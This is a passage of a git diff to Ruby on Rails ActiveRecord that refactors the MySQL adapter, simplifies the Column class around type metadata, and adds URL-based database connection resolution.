       # Returns true, since this connection adapter supports migrations.
       def supports_migrations?
         true
@@ -193,11 +221,6 @@ module ActiveRecord
         true
       end
 
-      # Returns true, since this connection adapter supports savepoints.
-      def supports_savepoints?
-        true
-      end
-
       def supports_bulk_alter? #:nodoc:
         true
       end
@@ -216,6 +239,22 @@ module ActiveRecord
         version[0] >= 5
       end
 
+      def supports_indexes_in_create?
+        true
+      end
+
+      def supports_foreign_keys?
+        true
+      end
+
+      def supports_views?
+        version[0] >= 5
+      end
+
+      def supports_datetime_with_precision?
+        (version[0] == 5 && version[1] >= 6) || version[0] >= 6
+      end
+
       def native_database_types
         NATIVE_DATABASE_TYPES
       end
@@ -232,12 +271,11 @@ module ActiveRecord
         raise NotImplementedError
       end
 
-      # Overridden by the adapters to instantiate their specific Column type.
-      def new_column(field, default, type, null, collation, extra = "") # :nodoc:
-        Column.new(field, default, type, null, collation, extra)
+      def new_column(field, default, sql_type_metadata = nil, null = true) # :nodoc:
+        Column.new(field, default, sql_type_metadata, null)
       end
 
-      # Must return the Mysql error number from the exception, if the exception has an
+      # Must return the MySQL error number from the exception, if the exception has an
       # error number.
       def error_number(exception) # :nodoc:
         raise NotImplementedError
@@ -245,12 +283,9 @@ module ActiveRecord
 
       # QUOTING ==================================================
 
-      def quote(value, column = nil)
-        if value.kind_of?(String) && column && column.type == :binary
-          s = value.unpack("H*")[0]
-          "x'#{s}'"
-        elsif value.kind_of?(BigDecimal)
-          value.to_s("F")
+      def _quote(value) # :nodoc:
+        if value.is_a?(Type::Binary::Data)
+          "x'#{value.hex}'"
         else
           super
         end
@@ -268,13 +303,21 @@ module ActiveRecord
         QUOTED_TRUE
       end
 
+      def unquoted_true
+        1
+      end
+
       def quoted_false
         QUOTED_FALSE
       end
 
+      def unquoted_false
+        0
+      end
+
       # REFERENTIAL INTEGRITY ====================================
 
-      def disable_referential_integrity(&block) #:nodoc:
+      def disable_referential_integrity #:nodoc:
         old = select_value("SELECT @@FOREIGN_KEY_CHECKS")
 
         begin
@@ -285,21 +328,18 @@ module ActiveRecord
         end
       end
 
+      #--
       # DATABASE STATEMENTS ======================================
+      #++
+
+      def clear_cache!
+        super
+        reload_type_map
+      end
 
       # Executes the SQL statement in the context of this connection.
       def execute(sql, name = nil)
-        if name == :skip_logging
-          @connection.query(sql)
-        else
-          log(sql, name) { @connection.query(sql) }
-        end
-      rescue ActiveRecord::StatementInvalid => exception
-        if exception.message.split(":").first =~ /Packets out of order/
-          raise ActiveRecord::StatementInvalid.new("'Packets out of order' error was received from the database. Please update your mysql bindings (gem install mysql) and read http://dev.mysql.com/doc/mysql/en/password-hashing.html for more information. If you're on Windows, use the Instant Rails installer to get the updated mysql bindings.", exception.original_exception)
-        else
-          raise
-        end
+        log(sql, name) { @connection.query(sql) }
       end
 
       # MysqlAdapter has to free a result after using it, so we use this method to write
@@ -316,39 +356,19 @@ module ActiveRecord
 
       def begin_db_transaction
         execute "BEGIN"
-      rescue
-        # Transactions aren't supported
       end
 
       def begin_isolated_db_transaction(isolation)
         execute "SET TRANSACTION ISOLATION LEVEL #{transaction_isolation_levels.fetch(isolation)}"
         begin_db_transaction
-      rescue
-        # Transactions aren't supported
       end
 
       def commit_db_transaction #:nodoc:
         execute "COMMIT"
-      rescue
-        # Transactions aren't supported
       end
 
-      def rollback_db_transaction #:nodoc:
+      def exec_rollback_db_transaction #:nodoc:
         execute "ROLLBACK"
-      rescue
-        # Transactions aren't supported
-      end
-
-      def create_savepoint
-        execute("SAVEPOINT #{current_savepoint_name}")
-      end
-
-      def rollback_to_savepoint
-        execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
-      end
-
-      def release_savepoint
-        execute("RELEASE SAVEPOINT #{current_savepoint_name}")
       end
 
       # In the simple case, MySQL allows us to place JOINs directly into the UPDATE
@@ -421,12 +441,16 @@ module ActiveRecord
         sql << "LIKE #{quote(like)}" if like
 
         execute_and_free(sql, 'SCHEMA') do |result|
-          result.collect { |field| field.first }
+          result.collect(&:first)
         end
       end
 
+      def truncate(table_name, name = nil)
+        execute "TRUNCATE TABLE #{quote_table_name(table_name)}", name
+      end
+
       def table_exists?(name)
-        return false unless name
+        return false unless name.present?
         return true if tables(nil, nil, name).any?
 
         name          = name.to_s
@@ -470,7 +494,9 @@ module ActiveRecord
         execute_and_free(sql, 'SCHEMA') do |result|
           each_hash(result).map do |field|
             field_name = set_field_encoding(field[:Field])
-            new_column(field_name, field[:Default], field[:Type], field[:Null] == "YES", field[:Collation], field[:Extra])
+            sql_type = field[:Type]
+            type_metadata = fetch_type_metadata(sql_type, field[:Collation], field[:Extra])
+            new_column(field_name, field[:Default], type_metadata, field[:Null] == "YES")
           end
         end
       end
@@ -480,7 +506,7 @@ module ActiveRecord
       end
 
       def bulk_change_table(table_name, operations) #:nodoc:
-        sqls = operations.map do |command, args|
+        sqls = operations.flat_map do |command, args|
           table, arguments = args.shift, args
           method = :"#{command}_sql"
 
@@ -489,7 +515,7 @@ module ActiveRecord
           else
             raise "Unknown method called : #{method}(#{arguments.inspect})"
           end
-        end.flatten.join(", ")
+        end.join(", ")
 
         execute("ALTER TABLE #{quote_table_name(table_name)} #{sqls}")
       end
@@ -503,7 +529,21 @@ module ActiveRecord
         rename_table_indexes(table_name, new_name)
       end
 
-      def change_column_default(table_name, column_name, default)
+      def drop_table(table_name, options = {})
+        execute "DROP#{' TEMPORARY' if options[:temporary]} TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_table_name(table_name)}#{' CASCADE' if options[:force] == :cascade}"
+      end
+
+      def rename_index(table_name, old_name, new_name)
+        if supports_rename_index?
+          validate_index_length!(table_name, new_name)
+
+          execute "ALTER TABLE #{quote_table_name(table_name)} RENAME INDEX #{quote_table_name(old_name)} TO #{quote_table_name(new_name)}"
+        else
+          super
+        end
+      end
+
+      def change_column_default(table_name, column_name, default) #:nodoc:
         column = column_for(table_name, column_name)
         change_column table_name, column_name, column.sql_type, :default => default
       end
@@ -532,6 +572,34 @@ module ActiveRecord
         execute "CREATE #{index_type} INDEX #{quote_column_name(index_name)} #{index_using} ON #{quote_table_name(table_name)} (#{index_columns})#{index_options} #{index_algorithm}"
       end
 
+      def foreign_keys(table_name)
+        fk_info = select_all <<-SQL.strip_heredoc
+          SELECT fk.referenced_table_name as 'to_table'
+                ,fk.referenced_column_name as 'primary_key'
+                ,fk.column_name as 'column'
+                ,fk.constraint_name as 'name'
+          FROM information_schema.key_column_usage fk
+          WHERE fk.referenced_column_name is not null
+            AND fk.table_schema = '#{@config[:database]}'
+            AND fk.table_name = '#{table_name}'
+        SQL
+
+        create_table_info = select_one("SHOW CREATE TABLE #{quote_table_name(table_name)}")["Create Table"]
+
+        fk_info.map do |row|
+          options = {
+            column: row['column'],
+            name: row['name'],
+            primary_key: row['primary_key']
+          }
+
+          options[:on_update] = extract_foreign_key_action(create_table_info, row['name'], "UPDATE")
+          options[:on_delete] = extract_foreign_key_action(create_table_info, row['name'], "DELETE")
+
+          ForeignKeyDefinition.new(table_name, row['to_table'], options)
+        end
+      end
+
       # Maps logical Rails types to MySQL-specific data types.
       def type_to_sql(type, limit = nil, precision = nil, scale = nil)
         case type.to_s
@@ -564,14 +632,6 @@ module ActiveRecord
         end
       end
 
-      def add_column_position!(sql, options)
-        if options[:first]
-          sql << " FIRST"
-        elsif options[:after]
-          sql << " AFTER #{quote_column_name(options[:after])}"
-        end
-      end
-
       # SHOW VARIABLES LIKE 'name'
       def show_variable(name)
         variables = select_all("SHOW VARIABLES LIKE '#{name}'", 'SCHEMA')
@@ -597,10 +657,19 @@ module ActiveRecord
         pk_and_sequence && pk_and_sequence.first
       end
 
-      def case_sensitive_modifier(node)
+      def case_sensitive_modifier(node, table_attribute)
+        node = Arel::Nodes.build_quoted node, table_attribute
         Arel::Nodes::Bin.new(node)
       end
 
+      def case_sensitive_comparison(table, attribute, column, value)
+        if column.case_sensitive?
+          table[attribute].eq(value)
+        else
+          super
+        end
+      end
+
       def case_insensitive_comparison(table, attribute, column, value)
         if column.case_sensitive?
           super
@@ -609,10 +678,6 @@ module ActiveRecord
         end
       end
 
-      def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key)
-        where_sql
-      end
-
       def strict_mode?
         self.class.type_cast_config_to_boolean(@config.fetch(:strict, true))
       end
@@ -623,6 +688,62 @@ module ActiveRecord
 
       protected
 
+      def initialize_type_map(m) # :nodoc:
+        super
+
+        register_class_with_limit m, %r(char)i, MysqlString
+
+        m.register_type %r(tinytext)i,   Type::Text.new(limit: 2**8 - 1)
+        m.register_type %r(tinyblob)i,   Type::Binary.new(limit: 2**8 - 1)
+        m.register_type %r(text)i,       Type::Text.new(limit: 2**16 - 1)
+        m.register_type %r(blob)i,       Type::Binary.new(limit: 2**16 - 1)
+        m.register_type %r(mediumtext)i, Type::Text.new(limit: 2**24 - 1)
+        m.register_type %r(mediumblob)i, Type::Binary.new(limit: 2**24 - 1)
+        m.register_type %r(longtext)i,   Type::Text.new(limit: 2**32 - 1)
+        m.register_type %r(longblob)i,   Type::Binary.new(limit: 2**32 - 1)
+        m.register_type %r(^float)i,     Type::Float.new(limit: 24)
+        m.register_type %r(^double)i,    Type::Float.new(limit: 53)
+
+        register_integer_type m, %r(^bigint)i,    limit: 8
+        register_integer_type m, %r(^int)i,       limit: 4
+        register_integer_type m, %r(^mediumint)i, limit: 3
+        register_integer_type m, %r(^smallint)i,  limit: 2
+        register_integer_type m, %r(^tinyint)i,   limit: 1
+
+        m.alias_type %r(tinyint\(1\))i,  'boolean' if emulate_booleans
+        m.alias_type %r(set)i,           'varchar'
+        m.alias_type %r(year)i,          'integer'
+        m.alias_type %r(bit)i,           'binary'
+
+        m.register_type(%r(enum)i) do |sql_type|
+          limit = sql_type[/^enum\((.+)\)/i, 1]
+            .split(',').map{|enum| enum.strip.length - 2}.max
+          MysqlString.new(limit: limit)
+        end
+      end
+
+      def register_integer_type(mapping, key, options) # :nodoc:
+        mapping.register_type(key) do |sql_type|
+          if /unsigned/i =~ sql_type
+            Type::UnsignedInteger.new(options)
+          else
+            Type::Integer.new(options)
+          end
+        end
+      end
+
+      def extract_precision(sql_type)
+        if /datetime/ === sql_type
+          super || 0
+        else
+          super
+        end
+      end
+
+      def fetch_type_metadata(sql_type, collation = "", extra = "")
+        MysqlTypeMetadata.new(super(sql_type), collation: collation, extra: extra, strict: strict_mode?)
+      end
+
       # MySQL is too stupid to create a temporary table for use subquery, so we have
       # to give it some prompting in the form of a subsubquery. Ugh!
       def subquery_for(key, select)
@@ -671,7 +792,7 @@ module ActiveRecord
       end
 
       def add_column_sql(table_name, column_name, type, options = {})
-        td = create_table_definition table_name, options[:temporary], options[:options]
+        td = create_table_definition(table_name)
         cd = td.new_column_definition(column_name, type, options)
         schema_creation.visit_AddColumn cd
       end
@@ -687,23 +808,23 @@ module ActiveRecord
           options[:null] = column.null
         end
 
-        options[:name] = column.name
-        schema_creation.accept ChangeColumnDefinition.new column, type, options
+        td = create_table_definition(table_name)
+        cd = td.new_column_definition(column.name, type, options)
+        schema_creation.accept(ChangeColumnDefinition.new(cd, column.name))
       end
 
       def rename_column_sql(table_name, column_name, new_column_name)
-        options = { name: new_column_name }
-
-        if column = columns(table_name).find { |c| c.name == column_name.to_s }
-          options[:default] = column.default
-          options[:null] = column.null
-          options[:auto_increment] = (column.extra == "auto_increment")
-        else
-          raise ActiveRecordError, "No such column: #{table_name}.#{column_name}"
-        end
+        column  = column_for(table_name, column_name)
+        options = {
+          default: column.default,
+          null: column.null,
+          auto_increment: column.auto_increment?
+        }
 
         current_type = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'", 'SCHEMA')["Type"]
-        schema_creation.accept ChangeColumnDefinition.new column, current_type, options
+        td = create_table_definition(table_name)
+        cd = td.new_column_definition(new_column_name, current_type, options)
+        schema_creation.accept(ChangeColumnDefinition.new(cd, column.name))
       end
 
       def remove_column_sql(table_name, column_name, type = nil, options = {})
@@ -724,63 +845,105 @@ module ActiveRecord
         "DROP INDEX #{index_name}"
       end
 
-      def add_timestamps_sql(table_name)
-        [add_column_sql(table_name, :created_at, :datetime), add_column_sql(table_name, :updated_at, :datetime)]
+      def add_timestamps_sql(table_name, options = {})
+        [add_column_sql(table_name, :created_at, :datetime, options), add_column_sql(table_name, :updated_at, :datetime, options)]
       end
 
-      def remove_timestamps_sql(table_name)
+      def remove_timestamps_sql(table_name, options = {})
         [remove_column_sql(table_name, :updated_at), remove_column_sql(table_name, :created_at)]
       end
 
       private
 
-      def supports_views?
-        version[0] >= 5
+      def version
+        @version ||= full_version.scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map(&:to_i)
       end
 
-      def column_for(table_name, column_name)
-        unless column = columns(table_name).find { |c| c.name == column_name.to_s }
-          raise "No such column: #{table_name}.#{column_name}"
-        end
-        column
+      def mariadb?
+        full_version =~ /mariadb/i
+      end
+
+      def supports_rename_index?
+        mariadb? ? false : (version[0] == 5 && version[1] >= 7) || version[0] >= 6
       end
 
       def configure_connection
-        variables = @config[:variables] || {}
+        variables = @config.fetch(:variables, {}).stringify_keys
 
         # By default, MySQL 'where id is null' selects the last inserted id.
         # Turn this off. http://dev.rubyonrails.org/ticket/6778
-        variables[:sql_auto_is_null] = 0
+        variables['sql_auto_is_null'] = 0
 
         # Increase timeout so the server doesn't disconnect us.
         wait_timeout = @config[:wait_timeout]
         wait_timeout = 2147483 unless wait_timeout.is_a?(Fixnum)
-        variables[:wait_timeout] = self.class.type_cast_config_to_integer(wait_timeout)
+        variables['wait_timeout'] = self.class.type_cast_config_to_integer(wait_timeout)
 
         # Make MySQL reject illegal values rather than truncating or blanking them, see
         # http://dev.mysql.com/doc/refman/5.0/en/server-sql-mode.html#sqlmode_strict_all_tables
         # If the user has provided another value for sql_mode, don't replace it.
-        if strict_mode? && !variables.has_key?(:sql_mode)
-          variables[:sql_mode] = 'STRICT_ALL_TABLES'
+        unless variables.has_key?('sql_mode')
+          variables['sql_mode'] = strict_mode? ? 'STRICT_ALL_TABLES' : ''
         end
 
         # NAMES does not have an equals sign, see
         # http://dev.mysql.com/doc/refman/5.0/en/set-statement.html#id944430
         # (trailing comma because variable_assignments will always have content)
-        encoding = "NAMES #{@config[:encoding]}, " if @config[:encoding]
+        if @config[:encoding]
+          encoding = "NAMES #{@config[:encoding]}"
+          encoding << " COLLATE #{@config[:collation]}" if @config[:collation]
+          encoding << ", "
+        end
 
         # Gather up all of the SET variables...
         variable_assignments = variables.map do |k, v|
           if v == ':default' || v == :default
-            "@@SESSION.#{k.to_s} = DEFAULT" # Sets the value to the global or compile default
+            "@@SESSION.#{k} = DEFAULT" # Sets the value to the global or compile default
           elsif !v.nil?
-            "@@SESSION.#{k.to_s} = #{quote(v)}"
+            "@@SESSION.#{k} = #{quote(v)}"
           end
           # or else nil; compact to clear nils out
         end.compact.join(', ')
 
         # ...and send them all in one query
-        execute("SET #{encoding} #{variable_assignments}", :skip_logging)
+        @connection.query  "SET #{encoding} #{variable_assignments}"
+      end
+
+      def extract_foreign_key_action(structure, name, action) # :nodoc:
+        if structure =~ /CONSTRAINT #{quote_column_name(name)} FOREIGN KEY .* REFERENCES .* ON #{action} (CASCADE|SET NULL|RESTRICT)/
+          case $1
+          when 'CASCADE'; :cascade
+          when 'SET NULL'; :nullify
+          end
+        end
+      end
+
+      def create_table_definition(name, temporary = false, options = nil, as = nil) # :nodoc:
+        TableDefinition.new(native_database_types, name, temporary, options, as)
+      end
+
+      class MysqlString < Type::String # :nodoc:
+        def type_cast_for_database(value)
+          case value
+          when true then "1"
+          when false then "0"
+          else super
+          end
+        end
+
+        private
+
+        def cast_value(value)
+          case value
+          when true then "1"
+          when false then "0"
+          else super
+          end
+        end
+      end
+
+      def type_classes_with_standard_constructor
+        super.merge(string: MysqlString)
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/column.rb b/activerecord/lib/active_record/connection_adapters/column.rb
index fb53090edc..fa5ed07b8a 100644
--- a/activerecord/lib/active_record/connection_adapters/column.rb
+++ b/activerecord/lib/active_record/connection_adapters/column.rb
@@ -5,7 +5,6 @@ module ActiveRecord
   module ConnectionAdapters
     # An abstract definition of a column in a table.
     class Column
-      TRUE_VALUES = [true, 1, '1', 't', 'T', 'true', 'TRUE', 'on', 'ON'].to_set
       FALSE_VALUES = [false, 0, '0', 'f', 'F', 'false', 'FALSE', 'off', 'OFF'].to_set
 
       module Format
@@ -13,100 +12,28 @@ module ActiveRecord
         ISO_DATETIME = /\A(\d{4})-(\d\d)-(\d\d) (\d\d):(\d\d):(\d\d)(\.\d+)?\z/
       end
 
-      attr_reader :name, :default, :type, :limit, :null, :sql_type, :precision, :scale
-      attr_accessor :primary, :coder
+      attr_reader :name, :null, :sql_type_metadata, :default, :default_function
 
-      alias :encoded? :coder
+      delegate :precision, :scale, :limit, :type, :sql_type, to: :sql_type_metadata, allow_nil: true
 
       # Instantiates a new column in the table.
       #
       # +name+ is the column's name, such as <tt>supplier_id</tt> in <tt>supplier_id int(11)</tt>.
       # +default+ is the type-casted default value, such as +new+ in <tt>sales_stage varchar(20) default 'new'</tt>.
-      # +sql_type+ is used to extract the column's length, if necessary. For example +60+ in
-      # <tt>company_name varchar(60)</tt>.
-      # It will be mapped to one of the standard Rails SQL types in the <tt>type</tt> attribute.
+      # +sql_type_metadata+ is various information about the type of the column
       # +null+ determines if this column allows +NULL+ values.
-      def initialize(name, default, sql_type = nil, null = true)
-        @name      = name
-        @sql_type  = sql_type
-        @null      = null
-        @limit     = extract_limit(sql_type)
-        @precision = extract_precision(sql_type)
-        @scale     = extract_scale(sql_type)
-        @type      = simplified_type(sql_type)
-        @default   = extract_default(default)
-        @primary   = nil
-        @coder     = nil
-      end
-
-      # Returns +true+ if the column is either of type string or text.
-      def text?
-        type == :string || type == :text
-      end
-
-      # Returns +true+ if the column is either of type integer, float or decimal.
-      def number?
-        type == :integer || type == :float || type == :decimal
+      def initialize(name, default, sql_type_metadata = nil, null = true, default_function = nil)
+        @name = name
+        @sql_type_metadata = sql_type_metadata
+        @null = null
+        @default = default
+        @default_function = default_function
       end
 
       def has_default?
         !default.nil?
       end
 
-      # Returns the Ruby class that corresponds to the abstract data type.
-      def klass
-        case type
-        when :integer                     then Fixnum
-        when :float                       then Float
-        when :decimal                     then BigDecimal
-        when :datetime, :timestamp, :time then Time
-        when :date                        then Date
-        when :text, :string, :binary      then String
-        when :boolean                     then Object
-        end
-      end
-
-      def binary?
-        type == :binary
-      end
-
-      # Casts a Ruby value to something appropriate for writing to the database.
-      def type_cast_for_write(value)
-        return value unless number?
-
-        case value
-        when FalseClass
-          0
-        when TrueClass
-          1
-        when String
-          value.presence
-        else
-          value
-        end
-      end
-
-      # Casts value (which is a String) to an appropriate instance.
-      def type_cast(value)
-        return nil if value.nil?
-        return coder.load(value) if encoded?
-
-        klass = self.class
-
-        case type
-        when :string, :text        then value
-        when :integer              then klass.value_to_integer(value)
-        when :float                then value.to_f
-        when :decimal              then klass.value_to_decimal(value)
-        when :datetime, :timestamp then klass.string_to_time(value)
-        when :time                 then klass.string_to_dummy_time(value)
-        when :date                 then klass.value_to_date(value)
-        when :binary               then klass.binary_to_string(value)
-        when :boolean              then klass.value_to_boolean(value)
-        else value
-        end
-      end
-
       # Returns the human name of the column name.
       #
       # ===== Examples
@@ -115,169 +42,27 @@ module ActiveRecord
         Base.human_attribute_name(@name)
       end
 
-      def extract_default(default)
-        type_cast(default)
+      def ==(other)
+        other.is_a?(Column) &&
+          attributes_for_hash == other.attributes_for_hash
       end
+      alias :eql? :==
 
-      class << self
-        # Used to convert from BLOBs to Strings
-        def binary_to_string(value)
-          value
-        end
-
-        def value_to_date(value)
-          if value.is_a?(String)
-            return nil if value.empty?
-            fast_string_to_date(value) || fallback_string_to_date(value)
-          elsif value.respond_to?(:to_date)
-            value.to_date
-          else
-            value
-          end
-        end
-
-        def string_to_time(string)
-          return string unless string.is_a?(String)
-          return nil if string.empty?
-
-          fast_string_to_time(string) || fallback_string_to_time(string)
-        end
-
-        def string_to_dummy_time(string)
-          return string unless string.is_a?(String)
-          return nil if string.empty?
-
-          dummy_time_string = "2000-01-01 #{string}"
-
-          fast_string_to_time(dummy_time_string) || begin
-            time_hash = Date._parse(dummy_time_string)
-            return nil if time_hash[:hour].nil?
-            new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction))
-          end
-        end
-
-        # convert something to a boolean
-        def value_to_boolean(value)
-          if value.is_a?(String) && value.empty?
-            nil
-          else
-            TRUE_VALUES.include?(value)
-          end
-        end
-
-        # Used to convert values to integer.
-        # handle the case when an integer column is used to store boolean values
-        def value_to_integer(value)
-          case value
-          when TrueClass, FalseClass
-            value ? 1 : 0
-          else
-            value.to_i rescue nil
-          end
-        end
-
-        # convert something to a BigDecimal
-        def value_to_decimal(value)
-          # Using .class is faster than .is_a? and
-          # subclasses of BigDecimal will be handled
-          # in the else clause
-          if value.class == BigDecimal
-            value
-          elsif value.respond_to?(:to_d)
-            value.to_d
-          else
-            value.to_s.to_d
-          end
-        end
-
-        protected
-          # '0.123456' -> 123456
-          # '1.123456' -> 123456
-          def microseconds(time)
-            time[:sec_fraction] ? (time[:sec_fraction] * 1_000_000).to_i : 0
-          end
-
-          def new_date(year, mon, mday)
-            if year && year != 0
-              Date.new(year, mon, mday) rescue nil
-            end
-          end
-
-          def new_time(year, mon, mday, hour, min, sec, microsec)
-            # Treat 0000-00-00 00:00:00 as nil.
-            return nil if year.nil? || (year == 0 && mon == 0 && mday == 0)
-
-            Time.send(Base.default_timezone, year, mon, mday, hour, min, sec, microsec) rescue nil
-          end
-
-          def fast_string_to_date(string)
-            if string =~ Format::ISO_DATE
-              new_date $1.to_i, $2.to_i, $3.to_i
-            end
-          end
-
-          # Doesn't handle time zones.
-          def fast_string_to_time(string)
-            if string =~ Format::ISO_DATETIME
-              microsec = ($7.to_r * 1_000_000).to_i
-              new_time $1.to_i, $2.to_i, $3.to_i, $4.to_i, $5.to_i, $6.to_i, microsec
-            end
-          end
-
-          def fallback_string_to_date(string)
-            new_date(*::Date._parse(string, false).values_at(:year, :mon, :mday))
-          end
-
-          def fallback_string_to_time(string)
-            time_hash = Date._parse(string)
-            time_hash[:sec_fraction] = microseconds(time_hash)
-
-            new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction))
-          end
+      def hash
+        attributes_for_hash.hash
       end
 
-      private
-        def extract_limit(sql_type)
-          $1.to_i if sql_type =~ /\((.*)\)/
-        end
+      protected
 
-        def extract_precision(sql_type)
-          $2.to_i if sql_type =~ /^(numeric|decimal|number)\((\d+)(,\d+)?\)/i
-        end
-
-        def extract_scale(sql_type)
-          case sql_type
-            when /^(numeric|decimal|number)\((\d+)\)/i then 0
-            when /^(numeric|decimal|number)\((\d+)(,(\d+))\)/i then $4.to_i
-          end
-        end
+      def attributes_for_hash
+        [self.class, name, default, sql_type_metadata, null, default_function]
+      end
+    end
 
-        def simplified_type(field_type)
-          case field_type
-          when /int/i
-            :integer
-          when /float|double/i
-            :float
-          when /decimal|numeric|number/i
-            extract_scale(field_type) == 0 ? :integer : :decimal
-          when /datetime/i
-            :datetime
-          when /timestamp/i
-            :timestamp
-          when /time/i
-            :time
-          when /date/i
-            :date
-          when /clob/i, /text/i
-            :text
-          when /blob/i, /binary/i
-            :binary
-          when /char/i
-            :string
-          when /boolean/i
-            :boolean
-          end
-        end
+    class NullColumn < Column
+      def initialize(name)
+        super(name, nil)
+      end
     end
   end
   # :startdoc:
diff --git a/activerecord/lib/active_record/connection_adapters/connection_specification.rb b/activerecord/lib/active_record/connection_adapters/connection_specification.rb
index 8bad7d0cf5..08d46fca96 100644
--- a/activerecord/lib/active_record/connection_adapters/connection_specification.rb
+++ b/activerecord/lib/active_record/connection_adapters/connection_specification.rb
@@ -13,41 +13,159 @@ module ActiveRecord
         @config = original.config.dup
       end
 
+      # Expands a connection string into a hash.
+      class ConnectionUrlResolver # :nodoc:
+
+        # == Example
+        #
+        #   url = "postgresql://foo:bar@localhost:9000/foo_test?pool=5&timeout=3000"
+        #   ConnectionUrlResolver.new(url).to_hash
+        #   # => {
+        #     "adapter"  => "postgresql",
+        #     "host"     => "localhost",
+        #     "port"     => 9000,
+        #     "database" => "foo_test",
+        #     "username" => "foo",
+        #     "password" => "bar",
+        #     "pool"     => "5",
+        #     "timeout"  => "3000"
+        #   }
+        def initialize(url)
+          raise "Database URL cannot be empty" if url.blank?
+          @uri     = uri_parser.parse(url)
+          @adapter = @uri.scheme.tr('-', '_')
+          @adapter = "postgresql" if @adapter == "postgres"
+
+          if @uri.opaque
+            @uri.opaque, @query = @uri.opaque.split('?', 2)
+          else
+            @query = @uri.query
+          end
+        end
+
+        # Converts the given URL to a full connection hash.
+        def to_hash
+          config = raw_config.reject { |_,value| value.blank? }
+          config.map { |key,value| config[key] = uri_parser.unescape(value) if value.is_a? String }
+          config
+        end
+
+        private
+
+        def uri
+          @uri
+        end
+
+        def uri_parser
+          @uri_parser ||= URI::Parser.new
+        end
+
+        # Converts the query parameters of the URI into a hash.
+        #
+        #   "localhost?pool=5&reaping_frequency=2"
+        #   # => { "pool" => "5", "reaping_frequency" => "2" }
+        #
+        # returns empty hash if no query present.
+        #
+        #   "localhost"
+        #   # => {}
+        def query_hash
+          Hash[(@query || '').split("&").map { |pair| pair.split("=") }]
+        end
+
+        def raw_config
+          if uri.opaque
+            query_hash.merge({
+              "adapter"  => @adapter,
+              "database" => uri.opaque })
+          else
+            query_hash.merge({
+              "adapter"  => @adapter,
+              "username" => uri.user,
+              "password" => uri.password,
+              "port"     => uri.port,
+              "database" => database_from_path,
+              "host"     => uri.hostname })
+          end
+        end
+
+        # Returns name of the database.
+        def database_from_path
+          if @adapter == 'sqlite3'
+            # 'sqlite3:/foo' is absolute, because that makes sense. The
+            # corresponding relative version, 'sqlite3:foo', is handled
+            # elsewhere, as an "opaque".
+
+            uri.path
+          else
+            # Only SQLite uses a filename as the "database" name; for
+            # anything else, a leading slash would be silly.
+
+            uri.path.sub(%r{^/}, "")
+          end
+        end
+      end
+
       ##
-      # Builds a ConnectionSpecification from user input
+      # Builds a ConnectionSpecification from user input.
       class Resolver # :nodoc:
-        attr_reader :config, :klass, :configurations
+        attr_reader :configurations
 
-        def initialize(config, configurations)
-          @config         = config
+        # Accepts a hash two layers deep, keys on the first layer represent
+        # environments such as "production". Keys must be strings.
+        def initialize(configurations)
           @configurations = configurations
         end
 
-        def spec
-          case config
-          when nil
-            raise AdapterNotSpecified unless defined?(Rails.env)
-            resolve_string_connection Rails.env
-          when Symbol, String
-            resolve_string_connection config.to_s
-          when Hash
-            resolve_hash_connection config
+        # Returns a hash with database connection information.
+        #
+        # == Examples
+        #
+        # Full hash Configuration.
+        #
+        #   configurations = { "production" => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" } }
+        #   Resolver.new(configurations).resolve(:production)
+        #   # => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3"}
+        #
+        # Initialized with URL configuration strings.
+        #
+        #   configurations = { "production" => "postgresql://localhost/foo" }
+        #   Resolver.new(configurations).resolve(:production)
+        #   # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
+        #
+        def resolve(config)
+          if config
+            resolve_connection config
+          elsif env = ActiveRecord::ConnectionHandling::RAILS_ENV.call
+            resolve_symbol_connection env.to_sym
+          else
+            raise AdapterNotSpecified
           end
         end
 
-        private
-        def resolve_string_connection(spec) # :nodoc:
-          hash = configurations.fetch(spec) do |k|
-            connection_url_to_hash(k)
+        # Expands each key in @configurations hash into fully resolved hash
+        def resolve_all
+          config = configurations.dup
+          config.each do |key, value|
+            config[key] = resolve(value) if value
           end
-
-          raise(AdapterNotSpecified, "#{spec} database is not configured") unless hash
-
-          resolve_hash_connection hash
+          config
         end
 
-        def resolve_hash_connection(spec) # :nodoc:
-          spec = spec.symbolize_keys
+        # Returns an instance of ConnectionSpecification for a given adapter.
+        # Accepts a hash one layer deep that contains all connection information.
+        #
+        # == Example
+        #
+        #   config = { "production" => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" } }
+        #   spec = Resolver.new(config).spec(:production)
+        #   spec.adapter_method
+        #   # => "sqlite3_connection"
+        #   spec.config
+        #   # => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" }
+        #
+        def spec(config)
+          spec = resolve(config).symbolize_keys
 
           raise(AdapterNotSpecified, "database configuration does not specify adapter") unless spec.key?(:adapter)
 
@@ -55,41 +173,83 @@ module ActiveRecord
           begin
             require path_to_adapter
           rescue Gem::LoadError => e
-            raise Gem::LoadError, "Specified '#{spec[:adapter]}' for database adapter, but the gem is not loaded. Add `gem '#{e.name}'` to your Gemfile."
+            raise Gem::LoadError, "Specified '#{spec[:adapter]}' for database adapter, but the gem is not loaded. Add `gem '#{e.name}'` to your Gemfile (and ensure its version is at the minimum required by ActiveRecord)."
           rescue LoadError => e
             raise LoadError, "Could not load '#{path_to_adapter}'. Make sure that the adapter in config/database.yml is valid. If you use an adapter other than 'mysql', 'mysql2', 'postgresql' or 'sqlite3' add the necessary adapter gem to the Gemfile.", e.backtrace
           end
 
           adapter_method = "#{spec[:adapter]}_connection"
-
           ConnectionSpecification.new(spec, adapter_method)
         end
 
-        def connection_url_to_hash(url) # :nodoc:
-          config = URI.parse url
-          adapter = config.scheme
-          adapter = "postgresql" if adapter == "postgres"
-          spec = { :adapter  => adapter,
-                   :username => config.user,
-                   :password => config.password,
-                   :port     => config.port,
-                   :database => config.path.sub(%r{^/},""),
-                   :host     => config.host }
-
-          spec.reject!{ |_,value| value.blank? }
-
-          uri_parser = URI::Parser.new
-
